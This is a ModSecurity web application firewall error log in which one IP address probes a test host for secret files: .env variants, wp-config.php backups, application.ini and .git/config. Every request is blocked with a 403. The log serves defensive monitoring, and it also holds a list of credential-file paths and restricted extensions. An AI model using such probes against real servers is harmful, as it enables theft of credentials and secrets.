[Thu Feb 26 01:03:26.317432 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8080/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QNQAAAAU&quot;]
[Thu Feb 26 01:03:26.317614 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8080/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QNQAAAAU&quot;]
[Thu Feb 26 01:03:26.363635 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /:8081/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8081/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QNgAAAAU&quot;]
[Thu Feb 26 01:03:26.363850 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8081/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QNgAAAAU&quot;]
[Thu Feb 26 01:03:26.364017 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8081/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QNgAAAAU&quot;]
[Thu Feb 26 01:03:26.423810 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /:8443/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8443/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QNwAAAAU&quot;]
[Thu Feb 26 01:03:26.424012 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8443/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QNwAAAAU&quot;]
[Thu Feb 26 01:03:26.424161 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8443/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QNwAAAAU&quot;]
[Thu Feb 26 01:03:26.490095 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sendgrid_email/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sendgrid_email/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QOAAAAAU&quot;]
[Thu Feb 26 01:03:26.490319 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sendgrid_email/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QOAAAAAU&quot;]
[Thu Feb 26 01:03:26.490509 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sendgrid_email/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QOAAAAAU&quot;]
[Thu Feb 26 01:03:26.518928 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sendgrid&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sendgrid&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QOQAAAAU&quot;]
[Thu Feb 26 01:03:26.519151 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sendgrid&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QOQAAAAU&quot;]
[Thu Feb 26 01:03:26.519304 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sendgrid&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QOQAAAAU&quot;]
[Thu Feb 26 01:03:28.035778 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.orig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.orig&quot;] [unique_id &quot;aZ-N0A3HqGC30X9HPoElfQAAAAM&quot;]
[Thu Feb 26 01:03:28.036045 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.orig&quot;] [unique_id &quot;aZ-N0A3HqGC30X9HPoElfQAAAAM&quot;]
[Thu Feb 26 01:03:28.036215 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.orig&quot;] [unique_id &quot;aZ-N0A3HqGC30X9HPoElfQAAAAM&quot;]
[Thu Feb 26 01:03:28.131812 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configs/application.ini&quot;] [unique_id &quot;aZ-N0A3HqGC30X9HPoElgAAAAAM&quot;]
[Thu Feb 26 01:03:28.132351 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configs/application.ini&quot;] [unique_id &quot;aZ-N0A3HqGC30X9HPoElgAAAAAM&quot;]
[Thu Feb 26 01:03:28.132521 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configs/application.ini&quot;] [unique_id &quot;aZ-N0A3HqGC30X9HPoElgAAAAAM&quot;]
[Thu Feb 26 01:03:28.233469 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.orig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.orig&quot;] [unique_id &quot;aZ-N0Ck1SHHL9bIjTI-QbQAAAAU&quot;]
[Thu Feb 26 01:03:28.233711 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.orig&quot;] [unique_id &quot;aZ-N0Ck1SHHL9bIjTI-QbQAAAAU&quot;]
[Thu Feb 26 01:03:28.233892 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.orig&quot;] [unique_id &quot;aZ-N0Ck1SHHL9bIjTI-QbQAAAAU&quot;]
[Thu Feb 26 01:03:28.335459 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configs/application.ini&quot;] [unique_id &quot;aZ-N0Ck1SHHL9bIjTI-QcAAAAAU&quot;]
[Thu Feb 26 01:03:28.335973 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configs/application.ini&quot;] [unique_id &quot;aZ-N0Ck1SHHL9bIjTI-QcAAAAAU&quot;]
[Thu Feb 26 01:03:28.336132 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configs/application.ini&quot;] [unique_id &quot;aZ-N0Ck1SHHL9bIjTI-QcAAAAAU&quot;]
[Thu Feb 26 01:03:29.046486 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sources/api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/api/.env&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiQgAAAAE&quot;]
[Thu Feb 26 01:03:29.046764 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/api/.env&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiQgAAAAE&quot;]
[Thu Feb 26 01:03:29.046933 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/api/.env&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiQgAAAAE&quot;]
[Thu Feb 26 01:03:29.165623 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiRgAAAAE&quot;]
[Thu Feb 26 01:03:29.165958 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiRgAAAAE&quot;]
[Thu Feb 26 01:03:29.166131 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiRgAAAAE&quot;]
